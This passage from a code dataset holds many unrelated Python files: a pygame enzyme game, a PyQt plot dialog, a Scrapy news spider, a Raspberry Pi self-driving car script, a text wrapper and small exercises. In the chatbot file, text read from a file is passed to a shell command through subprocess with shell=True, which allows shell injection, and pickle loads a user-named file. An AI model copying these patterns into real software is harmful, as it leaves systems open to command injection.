complete sequence including all values.\n subsequence: A subsequence from the sequence above.\n value: An element from subsequence.\n Returns: A subsequence from sequence [a..b], where b is the value and\n for all x in a..b-1 holds x not in subsequence. Also\n a-1 is either in subsequence or value was the first\n element in subsequence.\n \"\"\"\n from_index = 0\n to_index = sequence.index(value) + 1\n index_on_subsequence = subsequence.index(value)\n if index_on_subsequence > 0:\n # Value is not the first element in subsequence.\n previous = subsequence[index_on_subsequence - 1]\n from_index = sequence.index(previous) + 1\n return sequence[from_index:to_index]\n\n def log_available_range(self, available_bisect_range):\n step_result = self.m.step('Available range', cmd=None)\n for revision in available_bisect_range:\n step_result.presentation.links[revision[:8]] = COMMIT_TEMPLATE % revision\n\n def report_culprits(self, culprit_range):\n assert culprit_range\n if len(culprit_range) > 1:\n text = 'Suspecting multiple commits'\n else:\n text = 'Suspecting %s' % culprit_range[0][:8]\n\n step_result = self.m.step(text, cmd=None)\n for culprit in culprit_range:\n step_result.presentation.links[culprit[:8]] = COMMIT_TEMPLATE % culprit\n","sub_path":"scripts/slave/recipe_modules/v8/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":48921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"627106326","text":"import pygame\nimport elementtree.ElementTree as etree\nimport random\nfrom EnzymaniaClasses import Drawable, Enzyme, Metabolite, Reaction, Source, Sink\n\n\nRUNNING = True\nFLOW = False\n\ndef makeEnzymesMetabolites(reaction):\n prod = [Metabolite(name=p, y=random.randint(0, HEIGHT-100), x=random.randint(0, WIDTH-100))\n for p in reaction.listOfProducts]\n react = [Metabolite(name=r, y=random.randint(0, HEIGHT-100), x=random.randint(0, WIDTH-100))\n for r in reaction.listOfReactants]\n reactnames = [r.name for r in react]\n prodnames = [p.name for p in prod]\n e = Enzyme(x=random.randint(0, WIDTH-100), y=random.randint(0, HEIGHT-100), name=reaction.enzymeName,\n products = prodnames, reactants = reactnames)\n return e, prod, react\n\ndef addReactionSet(entityList, e, p, r, x, y):\n entityList.append(e)\n #for pp in p:\n # pp.x = x\n # pp.xvel=1\n # pp.yvel = 0\n # print(pp.x, pp.y)\n # entityList.append(pp)\n for rr in r:\n rr.y = 20\n rr.x = 0\n rr.xvel = 1\n rr.yvel = 1\n entityList.append(rr)\n\ndef checkEvents(entityList):\n global RUNNING\n global FLOW\n reactionCounter = 0\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n #print(event)\n if event.key == pygame.K_ESCAPE:\n print(\"escape\")\n RUNNING = False\n pygame.event.post(pygame.event.Event(pygame.QUIT))\n elif event.key == pygame.K_s:\n mouseX, mouseY = pygame.mouse.get_pos()\n pygame.display.toggle_fullscreen()\n elif event.key == pygame.K_e:\n mouseX, mouseY = pygame.mouse.get_pos()\n spawnEnzyme(entityList=entityList, x=mouseX, y=mouseY)\n #entityList.append(Enzyme(x=mouseX, y=mouseY))\n elif event.key == pygame.K_m:\n mouseX, mouseY = pygame.mouse.get_pos()\n entityList.append(Metabolite(x=mouseX, y=mouseY))\n elif event.key == pygame.K_r: #0th element as source metabolite\n e, p, r = makeEnzymesMetabolites(REACTIONSET[0])\n #todo\n dummy = Source()\n addReactionSet(entityList, e, p, r, dummy.x+dummy.xsize, dummy.y+dummy.ysize)\n reactionCounter+=1\n elif event.key == pygame.K_f:\n if not FLOW:\n FLOW = True\n else:\n FLOW = False\n\n if event.type == pygame.QUIT:\n RUNNING = False\n\n if event.type == pygame.MOUSEMOTION:\n if event.buttons[0]:\n # clicked and moving\n rel = event.rel\n enzymeList = [e for e in entityList if isinstance(e,Enzyme)]\n for entity in enzymeList:\n if entity.shape.collidepoint(pygame.mouse.get_pos()):\n entity.x += rel[0]\n entity.y += rel[1]\n\n\nWIDTH = 800\nHEIGHT = 600\nREACTIONSET = None\nSCORE = \"\"\n\n\ndef texts(screen, font):\n #font=pygame.font.Font(None,42)\n scoretext=font.render(\"\"+str(SCORE), 1,(99,99,88))\n screen.blit(scoretext, (500, 457))\n\n\ndef appendSource(entityList=None):\n if entityList is not None:\n entityList.append(Source())\n\n\ndef appendSink(entityList):\n if entityList is not None:\n entityList.append(Sink())\n\n\ndef spawnSourceMetabolite(entityList):\n e, p, r = makeEnzymesMetabolites(REACTIONSET[0])\n dummy = Source()\n #todo multiple\n r = r[0]\n r.x = dummy.x+dummy.xsize\n r.y = dummy.y+dummy.ysize\n entityList.append(r)\n\ndef spawnEnzyme(entityList,x=random.randint(50,WIDTH-50),y=random.randint(50,HEIGHT-50)):\n #grab random REACTIONSET\n rand = random.choice(REACTIONSET)\n e, p, r = makeEnzymesMetabolites(rand)\n e.x=x\n e.y=y\n entityList.append(e)\n\ndef main():\n pygame.init()\n #todo\n enzyme_font=pygame.font.Font(\"Arcade.ttf\",24)\n metabolite_font=pygame.font.SysFont(\"monospace\",18)\n metabolite_font=pygame.font.Font(\"SFSquareHead.ttf\", 18)\n\n screen = pygame.display.set_mode((WIDTH, HEIGHT))\n pygame.mouse.set_visible(1)\n clock = pygame.time.Clock()\n #init reactionlist\n global REACTIONSET\n REACTIONSET = makeReactionSet()\n global RUNNING\n global SCORE\n RUNNING = True\n entityList = []\n print(REACTIONSET)\n appendSource(entityList)\n appendSink(entityList)\n spawningTime = 0\n while RUNNING:\n dt = clock.tick(60)\n spawningTime += dt # new source metab every 0.8sec\n checkEvents(entityList)\n screen.fill((0, 0, 0))\n if FLOW and spawningTime > 800:\n spawnSourceMetabolite(entityList)\n spawningTime = 0\n\n screen.blit(screen, (0, 0))\n for i, e in enumerate(entityList):\n if isinstance(e,Enzyme):\n e.addText(screen=screen, font=enzyme_font)\n\n elif isinstance(e,Metabolite):\n e.addText(screen=screen, font=metabolite_font)\n #print(e.name)\n #if not e.textDrawn:\n # e.addText(screen=screen, font=font)\n\n e.checkCollisionList(entityList[:i])\n bounceOff(e)\n if isOutOfSight(e):\n entityList.remove(e)\n screen.blit(screen, (0, 0))\n e.move()\n e.draw(screen)\n\n pygame.display.flip()\n\n\ndef bounceOff(entity):\n if entity.x+entity.xsize > WIDTH or entity.x <0:\n if entity.xvel > 0:\n entity.xvel += 0\n else:\n entity.xvel -=0\n entity.xvel *=-1\n entity.move()\n\n if entity.y+entity.ysize > HEIGHT or entity.y < 0:\n if entity.yvel > 0:\n entity.yvel += 0\n else:\n entity.yvel -= 0\n entity.yvel *= -1\n entity.move()\n\n\ndef isOutOfSight(entity):\n out = False\n if entity.x > WIDTH or entity.x < 0 or entity.y > HEIGHT or entity.y < 0:\n out = True\n return out\n\n\ndef makeReactionSet (xml='enzymes_out.xml'):\n pathwaytree = etree.parse(xml)\n pathwaytree = pathwaytree.getroot()\n \"\"\"prepare new Reaction objects from XML\"\"\"\n res = []\n\n for reaction in pathwaytree.getiterator(tag='reaction'):\n newReactionName = \"\"\n newReactantList = []\n newProductList = []\n try:\n newReactionName = reaction.attrib['name']\n for reactantlist in reaction.getiterator(tag='listOfReactants'):\n for reactant in reactantlist:\n newReactantList.append(reactant.attrib['species'])\n\n for productlist in reaction.getiterator(tag='listOfProducts'):\n for product in productlist:\n newProductList.append(product.attrib['species'])\n r = Reaction(name=newReactionName, enzymeName=newReactionName, listOfProducts=newProductList, listOfReactants=newReactantList)\n res.append(r)\n except Exception as e:\n print(e)\n # makes set of all enzymes in the source file and positions at bottom of screen\n # for iteration & tag == reaction\n # newEnzyme(name, metabolites_in, metabolites_out)\n # Drawable(name='my name')\n for i in res:\n print(i)\n return res\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Enzymania/enzymania/sandbox/t2.py","file_name":"t2.py","file_ext":"py","file_size_in_byte":7321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"571996309","text":"from PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtWidgets import QTabWidget\nfrom PyQt5.QtWidgets import QGridLayout\n\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar\nfrom matplotlib.figure import Figure\n\n\nclass PlotDialog(QtWidgets.QWidget):\n def __init__(self, parent=None):\n super(PlotDialog, self).__init__(parent)\n #self.resize(1200,400)\n\n # a figure instance to plot on\n self.figure = Figure()\n\n # this is the Canvas Widget that displays the `figure`\n # it takes the `figure` instance as a parameter to __init__\n self.canvas = FigureCanvas(self.figure)\n\n # this is the Navigation widget\n # it takes the Canvas widget and a parent\n self.toolbar = NavigationToolbar(self.canvas, self)\n\n # set the layout\n layout = QtWidgets.QVBoxLayout()\n layout.addWidget(self.toolbar)\n layout.addWidget(self.canvas)\n self.setLayout(layout)\n\n self.axes = self.figure.add_subplot(111) \n\n self.canvas.draw()\n\n def plot_curve(self,points):\n self.axes.plot(points, '*-')\n self.canvas.draw()\n \nclass ControlPlots(QtWidgets.QDialog):\n def __init__(self, parent=None):\n super(ControlPlots, self).__init__(parent)\n tab_widget = QTabWidget()\n \n self.plot_x = PlotDialog()\n tab_widget.addTab(self.plot_x, \"x\")\n \n self.plot_y = PlotDialog()\n tab_widget.addTab(self.plot_y, \"y\")\n \n self.plot_speed = PlotDialog()\n tab_widget.addTab(self.plot_speed, \"speed\")\n \n self.plot_yaw = PlotDialog()\n tab_widget.addTab(self.plot_yaw, \"yaw\")\n \n self.plot_yaw_rate = PlotDialog()\n tab_widget.addTab(self.plot_yaw_rate, \"yaw_rate\") \n \n layout = QGridLayout()\n layout.addWidget(tab_widget)\n self.setLayout(layout)\n self.plot_yaw.plot_curve([0,2,1])\n self.plot_yaw.show()\n \n def set_client(self, client):\n self.client = client\n \n","sub_path":"widgets/plot_dialog.py","file_name":"plot_dialog.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"413637407","text":"import subprocess\nfrom subprocess import call\nimport pickle\nimport numpy as np\nimport random\nimport time\nimport math\n\nclass conversation_dictionary(object):\n ## Dictionary object containing input/response vector pairs\n ## Each dictionary key = input vector, value = list of response vectors\n ## Vector format: ((sentence),(tagged root word),(next tagged word),..)\n \n def __init__(self):\n self.dictionary = {}\n \n def add_pair(self, input_vector, output_vector):\n ## Takes in a tagged input vector and tagged reponse vector\n ## Adds response vector to list of reponses if input vector already exists\n ## If input vector doesn't exist, add new input/output to dictionary\n \n if input_vector in self.dictionary:\n if output_vector not in self.dictionary[input_vector]:\n self.dictionary[input_vector].append(output_vector)\n else:\n self.dictionary[input_vector] = [output_vector]\n\n def to_string(self):\n for key,value in self.dictionary.items():\n print(\"key: \", key)\n print(\"value: \", value)\n print(\"\\n\")\n\n def load_dictionary(self):\n ## Load dictionary and save it as self.dictionary\n if len(self.dictionary) == 0:\n dic_file = input(\"Dictionary file name to load: \")\n try:\n self.dictionary = pickle.load(open( dic_file, \"rb\"))\n except:\n print(\"No existing pickled dictionary. Creating empty one.\")\n else:\n save = input(\"Current dictionary not empty. \" + \\\n \"Do you wish to save first? (y/n).\")\n if save == \"y\":\n self.dictionary.save_dictionary()\n else:\n print(\"Okay\")\n\n def save_dictionary(self):\n ## Dump (write) dictionary to disk\n dic_file = input(\"Dictionary file name to save to: \")\n pickle.dump(self.dictionary, open( dic_file, \"wb\"))\n\n def add_data(self, file_name):\n ## Takes in a txt file name, runs throught the file line by line\n ## input file format: statement on line 1, response line 2, empty line 3\n ## Loads pickled dictionary if it exists then adds key/value pairs\n time_start = time.time()\n self.load_dictionary()\n input_data = open(file_name, 'r')\n x = 1\n line_count = 0\n for line in input_data:\n line = line.strip()\n if x == 1:\n # Input statement\n statement = line\n statement = statement.lower()\n if \"'\" in statement:\n statement = statement.replace(\"'\", \"\\\\'\")\n parseyed_statement = subprocess.check_output('echo ' + statement + ' | syntaxnet/demo.sh', shell=True)\n time.sleep(.01)\n parseyed_statement = str(parseyed_statement,'utf-8')\n statement_vector = self.clean_tree(parseyed_statement, line)\n x += 1\n elif x == 2:\n # Response\n response = line\n response = response.lower()\n if \"'\" in response:\n response = response.replace(\"'\", \"\\\\'\")\n parseyed_response = subprocess.check_output('echo ' + response + ' | syntaxnet/demo.sh', shell=True)\n time.sleep(.01)\n parseyed_response = str(parseyed_response,'utf-8')\n response_vector = self.clean_tree(parseyed_response, line)\n # Store statement/response pair in db\n self.add_pair(statement_vector, response_vector)\n x = 1\n line_count += 1\n\n input_data.close()\n time_end = time.time()\n\n print(\"Number of lines:\", line_count, end = \" | \")\n print(\"Time elapsed: %.1f\" % (time_end-time_start))\n self.save_dictionary()\n print(\"Data added successfully.\")\n\n def clean_tree(self, tree, initial_sentence):\n ##Input: Takes in the string representing a tree and cleans it\n ##Idea: Go until you find a \\n and take everything before it.\n ## Then skip every non-alphabet or punctuation character and repeat.\n ##Returns: Vector tuple of sentence: ((sentence_tuple), (word1_list), (word2_list))\n\n sentence_vector = [initial_sentence]\n start_of_tree = tree.find(\"Input:\")\n tree = tree[start_of_tree+7:]\n tree_list = tree.split(\"\\n\")\n for word in tree_list[1:]:\n word = word.replace(\"+--\", \"\")\n word_vector = word.split(' ')\n while '' in word_vector:\n word_vector.remove('')\n while '|' in word_vector:\n word_vector.remove('|')\n if len(word_vector) >= 1 and 'Parse:' not in word_vector:\n sentence_vector.append(tuple(word_vector))\n \n return tuple(sentence_vector)\n \n def compare_parsey_vectors(self, vector1, vector2):\n ##Takes in parseyed vectors1 and 2\n ##Vectors in the form ((sentence tuple), (word1, POS, senTag), (word2, POS, senTag), ...)\n ##tree_vector = key from dic, tree_vector2 = input vector\n tree_vector = vector1[1:]\n tree_vector2 = vector2[1:]\n scores = []\n\n shifts = max(len(tree_vector), len(tree_vector2)) - \\\n min(len(tree_vector), len(tree_vector2))\n\n \n #Only compare words up to the length of the shortest sentence\n #Then shift to the right up to the distance between vectors\n \n for x in range(0, shifts+1):\n numpy_vector = []\n for i in range(0, min(len(tree_vector), len(tree_vector2))):\n for j in range(0, 3):\n if len(tree_vector) > len(tree_vector2):\n if tree_vector[i+x][j] == tree_vector2[i][j]:\n numpy_vector.append(1)\n else:\n numpy_vector.append(0)\n else:\n if tree_vector[i][j] == tree_vector2[i+x][j]:\n numpy_vector.append(1)\n else:\n numpy_vector.append(0)\n if len(tree_vector2) > len(tree_vector):\n weight = len(tree_vector2) - len(tree_vector) + 1\n else:\n weight = len(tree_vector)- len(tree_vector2) + 1\n numpy_vector.append(1/weight)\n numpy_vector = np.array(numpy_vector)\n scores.append(np.linalg.norm(numpy_vector))\n return max(scores)\n \n \n def get_best_response(self, input_vector):\n ## Takes in an input vector and runs through the dictionary\n ## Finding the closest vector to the input.\n ## Returns a response in string format\n \n max_value = 0\n for key, value in self.dictionary.items():\n result_score = self.compare_parsey_vectors(key, input_vector)\n if result_score > max_value:\n max_value = result_score\n random_index = random.randint(0, len(value)-1)\n response = value[random_index]\n\n ## If max value is the max that it can be, just return the response\n if max_value >= math.sqrt((len(response)-1) * 3): \n return 0, response[0]\n # If not return 1 and the response so that prob model can be used\n else:\n return 1, response \n","sub_path":"conversation_dictionary.py","file_name":"conversation_dictionary.py","file_ext":"py","file_size_in_byte":7494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"291542164","text":"import numpy as np\nfrom collections import Counter\n\n\ndef solve(string):\n n, *a = map(int, string.split())\n table = np.array([True] * (10**6 + 1))\n for _a in a:\n if table[_a]:\n table[2*_a::_a]=False\n i = np.array([k for k,v in Counter(a).items() if v==1],dtype=np.int)\n return str(table[i].sum())\n\n\nif __name__ == '__main__':\n import sys\n print(solve(sys.stdin.read().strip()))\n","sub_path":"Python_codes/p02642/s595831668.py","file_name":"s595831668.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"389035408","text":"from src.soundex import Soundex\nfrom src.comparisonThread import ComparisonThread\nimport unittest2\n\n\nclass SoundexTest(unittest2.TestCase):\n\n def test_convert_word_to_soundex(self):\n soundex = Soundex([], \"\")\n result = soundex.convert_to_soundex(\"Lithuania\")\n self.assertEqual(result, \"L350\")\n\n def test_replace_character(self):\n soundex = Soundex([], \"\")\n result = soundex.replace_characters(\"dissolution\", '[cgjkqsxz]+', '2')\n self.assertEqual(result, 'di2olution')\n\n def test_compare_soundex(self):\n comparisonThread = ComparisonThread()\n comparisonThread.start()\n comparisonThread.compare_words(\"Lithuania\", \"L350\", \"lituania\", \"L350\")\n result = comparisonThread.soundex_score\n self.assertEqual(result, 8)\n\n\nif __name__ == '__main__':\n unittest2.main()\n\n","sub_path":"tests/soundexTest.py","file_name":"soundexTest.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"118097722","text":"## Software used for enconde letter aka chars and/or decode them\n# Simple Subtitution cipher\n\ndef main():\n\n message_user = str(input('Please enter your message: '))\n\n for i in message_user:\n char_to_num = ord(i)\n num_to_char = chr(char_to_num)\n print(\"Char to NUM: {} -> Num to CHAR: {}\".format(char_to_num,num_to_char) )\n\nmain()","sub_path":"enc_dec_chars.py","file_name":"enc_dec_chars.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"341715264","text":"class Solution(object):\n def intersect(self, nums1, nums2):\n \"\"\"\n :type nums1: List[int]\n :type nums2: List[int]\n :rtype: List[int]\n \"\"\"\n nums1 = sorted(nums1)\n nums2 = sorted(nums2)\n\n nums1_len = len(nums1)\n nums2_len = len(nums2)\n\n i1 = 0\n i2 = 0\n\n ans = []\n\n while i1 < nums1_len and i2 < nums2_len:\n if nums1[i1] != nums2[i2]:\n if nums1[i1] > nums2[i2]:\n i2 += 1\n else :\n i1 += 1\n else :\n ans.append(nums1[i1])\n i1 += 1\n i2 += 1\n\n return ans\n\ns = Solution()\nprint(s.intersect([1,2,2,3],[2,2]))\n","sub_path":"leetcode/algorithm/intersection-of-two-arrays-ii.py","file_name":"intersection-of-two-arrays-ii.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"544953437","text":"import re\nimport random\n\n\nRE_NON_WHITESPACE = re.compile(r'\\S+')\n\n\ndef wrap(text, columns=40, justified=False, force=False):\n \"\"\"Make a generator that takes a text and yields wrapped line.\n\n All lines fits the width defined by :columns:.\n\n The text is splitted in chunks. Each chunk is a simple word\n or a word preceded or succeded by one or more special characters\n\n e.g. In the sentence (str): '\"Let there be light,\"'\n the chunks are: ['\"Let', 'there', 'be', 'light,\"']\n\n The chunk is yielded without breaking, if it exceeds the number of columns.\n That chunk that exceeds the number of columns, can be break it if force is `True`\n\n :param text: a paragraph (str)\n :param columns: delimiter of a line width (int)\n :param justified: justify the yielded chunk (bool)\n :param force: forces the big chunks to break in `n` columns (bool)\n\n :return: an iterator that yields wrapped chunks of text\n \"\"\"\n\n def break_big_chunk(chunk):\n big_chunk = chunk\n while len(big_chunk) > columns:\n yield big_chunk[:columns]\n big_chunk = big_chunk[columns:]\n yield big_chunk\n\n cur_chunks_length = 0\n cur_line = []\n\n # RE_NON_WHITESPACE works like str.split(),\n # but the values are lazily-evaluated\n for match in RE_NON_WHITESPACE.finditer(text):\n chunk = match.group()\n chunk_length = len(chunk)\n whitespaces_nodes = len(cur_line) - 1\n\n if cur_chunks_length + chunk_length + whitespaces_nodes < columns:\n cur_chunks_length += chunk_length\n cur_line.append(chunk)\n else:\n _fill_with_whitespaces(cur_line, columns, justified)\n\n yield chunks_to_str(cur_line)\n\n # Cur chunk is too big to fit in the cur line\n if chunk_length > columns:\n # keep it or break it?\n if not force:\n yield chunk\n else:\n yield from break_big_chunk(chunk)\n\n # Next iteration will be a fresh one\n cur_chunks_length = 0\n cur_line = []\n else:\n # Cur chunk has a valid size, put it on cur_line\n # to be processed in the next iteration\n cur_chunks_length = chunk_length\n cur_line = [chunk]\n\n # Remaining chunks that did not fit to complete a full line\n if cur_line:\n _fill_with_whitespaces(cur_line, columns, justified)\n yield chunks_to_str(cur_line)\n\n\ndef justify_line(line, columns):\n chunks_length = sum(map(len, line))\n if chunks_length > columns:\n raise ValueError('The text line length is greater than the '\n 'number of columns.')\n\n whitespace_nodes = len(line) - 1\n\n # Just one chunk, it doesn't need a extra whitespace\n if whitespace_nodes <= 0:\n return\n\n whitespaces_remaining = columns - chunks_length\n while whitespaces_remaining > 0:\n if whitespace_nodes > whitespaces_remaining:\n _add_whitespace_at_random_position(line)\n whitespaces_remaining -= 1\n elif whitespace_nodes < whitespaces_remaining:\n _add_whitespace_between_all_chunks(line)\n whitespaces_remaining -= whitespace_nodes\n else:\n _add_whitespace_between_all_chunks(line)\n whitespaces_remaining -= whitespace_nodes\n\n\ndef _add_whitespace_between_all_chunks(line):\n \"\"\"Append a whitespace character between all pair of chunks (In-Place)\n\n :param line: a list of chunks (str)\n \"\"\"\n for index in range(0, len(line) - 1):\n line[index] += ' '\n\n\ndef _add_whitespace_at_random_position(line):\n \"\"\"Append a whitespace character in between a random pair of chunks (In-Place)\n\n :param line: a list of chunks (str)\n \"\"\"\n index = random.randint(0, len(line) - 2)\n line[index] += ' '\n\n\ndef _fill_with_whitespaces(line, columns, justified):\n \"\"\"Takes a list of strings and returns a single string\n with whitespaces between each list item\n\n :param line: a list of chunks (str)\n :param columns: an integer to limit the max number of\n characeters per line\n :param justified: bool\n :return: a line of text (string)\n :rtype: str\n \"\"\"\n _add_whitespace_between_all_chunks(line)\n\n if justified:\n justify_line(line, columns)\n\n\ndef chunks_to_str(line):\n return ''.join(line)\n","sub_path":"idwall_tools/strings/wrap.py","file_name":"wrap.py","file_ext":"py","file_size_in_byte":4421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"19480190","text":"\n#pseudo website report.\n\nfrom mocks import ModelDescriptorMock \ndef realy_cite(be):\n print(\"This is a real citation\")\n return str(be)\n\ndef cite(either_bibtex_or_error):\n if either_bibtex_or_error.is_left:\n return \"Instead of a bibtex_entry i got the message\"+either_bibtex_or_error.value\n else:\n return either_bibtex_or_error.flat_map(realy_cite)\n\n\nb1=ModelDescriptorMock(doi_org_available=False,doi_present=True,local_bibtex_entry_available=True).bibtex_entry()\n\nb2=ModelDescriptorMock(doi_org_available=False,doi_present=True,local_bibtex_entry_available=False).bibtex_entry()\n\nreport= cite(b1)+cite(b2)\nprint(report)\n\n","sub_path":"prototypes/monads/Report.py","file_name":"Report.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"310462024","text":"import scrapy\nfrom scrapy.http import Request\n\nfrom news_sites.items import EconomyNextItem\n\n\nclass EconomyNextSpider(scrapy.Spider):\n name = \"economynext\"\n allowed_domains = [\"economynext.com\"]\n start_urls = ['http://www.economynext.com/Apparel-2--4-9.html',\n 'http://www.economynext.com/Construction_and_Real_Estate-2--4-10.html',\n 'http://www.economynext.com/General_Industry-2--4-11.html']\n\n def parse(self, response):\n items = []\n for news in response.css('div.related-block ul.article-array li#ban15'):\n # print(news_arr)\n item = EconomyNextItem()\n # append to items object\n item['news_headline'] = news.css('a ::text')[0].extract()\n item['datetime'] = news.css('a ::text')[1].extract().rstrip()\n news_url = \"http://economynext.com/\" + \\\n news.css('a ::attr(href)')[0].extract()\n item['link'] = news_url\n r = Request(url=news_url, callback=self.parse_1)\n r.meta['item'] = item\n yield r\n items.append(item)\n yield {\"newsInDetails\": items}\n\n next_page = response.css(\n 'div.page-pager a.next ::attr(href)').extract_first()\n if next_page is not None:\n print(next_page)\n next_page = \"http://economynext.com/\" + str(next_page)\n yield scrapy.Request(next_page, callback=self.parse)\n\n def parse_1(self, response):\n data = response.css('div.shortcode-content p ::text').extract()\n texts = [i.strip() for i in data]\n new_texts = list(filter(None, texts))\n string = ' '.join(new_texts)\n item = response.meta['item']\n item['newsInDetails'] = string\n yield item\n","sub_path":"Crawlers/news_sites/spiders/economynext.py","file_name":"economynext.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"556229377","text":"import keras\nfrom keras.models import model_from_json\nfrom keras.initializers import glorot_uniform\nfrom keras.utils import CustomObjectScope\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nimport os\nimport time\nfrom time import sleep\nimport timeit\nfrom picamera import PiCamera\nimport scipy\nfrom skimage import feature\nfrom skimage.color import rgb2gray\nfrom skimage.filters import scharr\nimport imageio\nimport RPi.GPIO as GPIO\nimport numpy as np\n\nGPIO.setwarnings(False)\ndef silence_imageio_warning(*args, **kwargs):\n pass\n\nimageio.core.util._precision_warn = silence_imageio_warning\n\n\n\nGPIO.setmode(GPIO.BCM)\nTrig = 14\nEcho = 15\nMotor1 = 18\nMotor2 = 23\nMotor3 = 24\nMotor4 = 25\n\nGPIO.setup(Motor1, GPIO.OUT)\nGPIO.setup(Motor2, GPIO.OUT)\nGPIO.setup(Motor3, GPIO.OUT)\nGPIO.setup(Motor4, GPIO.OUT)\nGPIO.setup(Trig, GPIO.OUT)\nGPIO.setup(Echo, GPIO.IN)\n\ncamera = PiCamera()\n\njson_file_m1 = open('/home/pi/self-driving/smodel.json', 'r')\nloaded_model_json_m1 = json_file_m1.read()\njson_file_m1.close()\nwith CustomObjectScope({'GlorotUniform': glorot_uniform()}):\n model_m1 = model_from_json(loaded_model_json_m1)\nmodel_m1.load_weights(\"/home/pi/self-driving/smodel.h5\")\nprint(\"Loaded stop model from disk\")\n\njson_file = open('/home/pi/self-driving/model10.json', 'r')\nloaded_model_json = json_file.read()\njson_file.close()\nwith CustomObjectScope({'GlorotUniform': glorot_uniform()}):\n model = model_from_json(loaded_model_json)\nmodel.load_weights(\"/home/pi/self-driving/model10.h5\")\nmodel.compile(loss=\"categorical_crossentropy\",\noptimizer=\"adam\", metrics=['accuracy'])\nprint(\"Loaded track model from disk\")\n\n\ndef capture():\n\n camera.vflip = True\n camera.capture('captured/all/picture.jpg')\n\n\ndef preprocess():\n images = []\n for filename in os.listdir(\"/home/pi/self-driving/captured/all\"):\n if any([filename.endswith('.jpg')]):\n img = imageio.imread(os.path.join(\n \"/home/pi/self-driving/captured/all\", filename))\n if img is not None:\n images.append(img)\n for img in images:\n img = rgb2gray(img)\n img = img[200:480, 0:640]\n edge_scharr = scharr(img)\n imageio.imwrite(\"/home/pi/self-driving/processed/all/image.jpg\", edge_scharr)\n\n\ndef stopModel():\n print(\"READING STOP IMAGE\")\n validation_image_generator = ImageDataGenerator(rescale=1./255)\n test_generator = validation_image_generator.flow_from_directory(\n directory='/home/pi/self-driving/captured',\n target_size=(720, 480),\n color_mode=\"rgb\",\n shuffle=False,\n class_mode='binary',\n batch_size=1\n )\n\n predict = model.predict_generator(test_generator, steps=1)\n predClass = predict[0].tolist()\n predClass = predClass.index(max(predClass))\n print(\"Stop Model Prediction\", predClass)\n \n return(predClass)\n\ndef trackModel():\n print(\"READING IMAGE\")\n validation_image_generator = ImageDataGenerator(rescale=1./255)\n test_generator = validation_image_generator.flow_from_directory(\n directory='/home/pi/self-driving/captured',\n target_size=(720, 480),\n color_mode=\"rgb\",\n shuffle=False,\n class_mode='binary',\n batch_size=1\n )\n\n predict = model.predict_generator(test_generator, steps=1)\n predClass = predict[0].tolist()\n predClass = predClass.index(max(predClass))\n print(\"Track Model\", predClass)\n \n return(predClass)\n\n\ndef deleteStopImage():\n os.remove(\"/home/pi/self-driving/captured/all/picture.jpg\")\n\ndef deleteImages():\n os.remove(\"/home/pi/self-driving/captured/all/picture.jpg\")\n #os.remove(\"/home/pi/self-driving/processed/all/image.jpg\")\n\n\nwhile True:\n start = timeit.default_timer()\n capture()\n stopPred = stopModel()\n \n if stopPred == 0:\n GPIO.output(Motor1, GPIO.LOW)\n GPIO.output(Motor2,GPIO.LOW)\n GPIO.output(Motor3,GPIO.LOW)\n GPIO.output(Motor4,GPIO.LOW)\n #deleteStopImage()\n else:\n \n #preprocess()\n trackPred = trackModel()\n if trackPred == 0:\n GPIO.output(Motor1,GPIO.LOW)\n GPIO.output(Motor2,GPIO.HIGH)\n GPIO.output(Motor3,GPIO.LOW)\n GPIO.output(Motor4,GPIO.LOW)\n time.sleep(1)\n elif trackPred == 1:\n GPIO.output(Motor1,GPIO.LOW)\n GPIO.output(Motor2,GPIO.HIGH)\n GPIO.output(Motor3,GPIO.LOW)\n GPIO.output(Motor4,GPIO.HIGH)\n time.sleep(1)\n\n GPIO.output(Motor1, GPIO.LOW)\n GPIO.output(Motor2,GPIO.LOW)\n GPIO.output(Motor3,GPIO.LOW)\n GPIO.output(Motor4,GPIO.LOW)\n\n deleteImages()\n \n stop = timeit.default_timer()\n print('Time: ', stop - start) \n \n \n \n \n\n\n\n\n \n\n \n\n\n \n\n \n \n \n","sub_path":"sdc.py","file_name":"sdc.py","file_ext":"py","file_size_in_byte":5735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"292607090","text":"# função 2 parametros\ndef conta_caractere(texto,char):\n # código count conta quanta letra \"x\" tem no texto\n count = 0\n # laço for onde letra vai percorrer texto\n for letra in texto:\n # se letra estiver em texto\n if letra == char:\n # soma +1 a count\n count += 1\n print(\"A letra\", char,\"apareceu\",count,\"vezes na string\")\n\n# prog pricipal pede para digitar um texto e depois uma letra\nstring=input(\"Digite um texto qualquer: \")\ncaractere = input(\"Digite um caractere: \")\n# chamo a def com 2 argumentos 